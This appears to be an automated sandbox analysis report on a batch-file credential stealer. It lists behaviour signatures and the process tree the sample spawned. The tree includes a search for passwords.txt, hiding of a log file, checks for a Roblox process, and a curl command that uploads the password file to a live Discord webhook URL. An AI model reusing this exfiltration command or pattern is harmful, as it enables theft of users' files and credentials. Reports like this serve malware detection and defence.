Resubmissions

15/08/2026, 16:07

260815-tkpbqszbre6

15/08/2026, 15:57

260815-ted9ksdq2s7

Analysis

  • user interaction
    yes
  • max time kernel
    66s
  • max time network
    66s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    15/08/2026, 16:07

General

  • Target
    malware.bat
  • Size 5KB
  • Sample260815-tkpbqszbre
  • SHA256 d40f26ee452c4e39054e929897695836d0fb72886850ea036222234a4a03280a
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Delays execution with timeout.exe 12 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\malware.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4120
    • C:\Windows\system32\timeout.exe
      timeout /t 1
      2⤵
      • Delays execution with timeout.exe
      PID:5928
    • C:\Windows\system32\timeout.exe
      timeout /t 5
      2⤵
      • Delays execution with timeout.exe
      PID:3484
    • C:\Windows\system32\timeout.exe
      timeout /t 10
      2⤵
      • Delays execution with timeout.exe
      PID:1696
    • C:\Windows\system32\timeout.exe
      timeout /t 15
      2⤵
      • Delays execution with timeout.exe
      PID:3292
    • C:\Windows\system32\timeout.exe
      timeout /t 1
      2⤵
      • Delays execution with timeout.exe
      PID:904
    • C:\Windows\system32\timeout.exe
      timeout /t 5
      2⤵
      • Delays execution with timeout.exe
      PID:2328
    • C:\Windows\system32\timeout.exe
      timeout /t 10
      2⤵
      • Delays execution with timeout.exe
      PID:5296
    • C:\Windows\system32\timeout.exe
      timeout /t 15
      2⤵
      • Delays execution with timeout.exe
      PID:5944
    • C:\Windows\system32\timeout.exe
      timeout /t 1
      2⤵
      • Delays execution with timeout.exe
      PID:5400
    • C:\Windows\system32\timeout.exe
      timeout /t 5
      2⤵
      • Delays execution with timeout.exe
      PID:1728
    • C:\Windows\system32\timeout.exe
      timeout /t 10
      2⤵
      • Delays execution with timeout.exe
      PID:2676
    • C:\Windows\system32\timeout.exe
      timeout /t 15
      2⤵
      • Delays execution with timeout.exe
      PID:996
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c dir C:\C:\Users\PC\OneDrive\Desktop/passwords.txt /s /b 2>nul
      2⤵
      • Executes a command shell one-liner
      PID:776
    • C:\Windows\system32\attrib.exe
      attrib +h "C:\Users\Admin\AppData\Local\Temp\log.txt"
      2⤵
      • Views/modifies file attributes
      PID:5796
    • C:\Windows\system32\curl.exe
      curl -X POST -F "file=@C:\Users\PC\OneDrive\Desktop/passwords.txt" "https://discord.com/api/webhooks/1538207299863191663/Sx318kBFCLi8njFjALNtftK4-_V6TdCZ0E_mUpdaNLULD6B_j4P1QJFom0bh83Y09Xtb"
      2⤵
        PID:5632
      • C:\Windows\system32\tasklist.exe
        tasklist
        2⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:1224
      • C:\Windows\system32\findstr.exe
        findstr /i "RobloxPlayerBeta.exe"
        2⤵
          PID:5872
      • C:\Windows\system32\NOTEPAD.EXE
        "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\passwords.txt
        1⤵
        • Opens file in notepad (likely ransom note)
        PID:852
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe"
        1⤵
          PID:4616

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              log.txt

              • Path C:\Users\Admin\AppData\Local\Temp\log.txt
              • Size 11B
              • SHA256 a8a767a744fe3936aaf4bb0ceb1025052eec69e1fbc113abe1e14a2ac2d284c2
              • MD5 SHA1 SHA512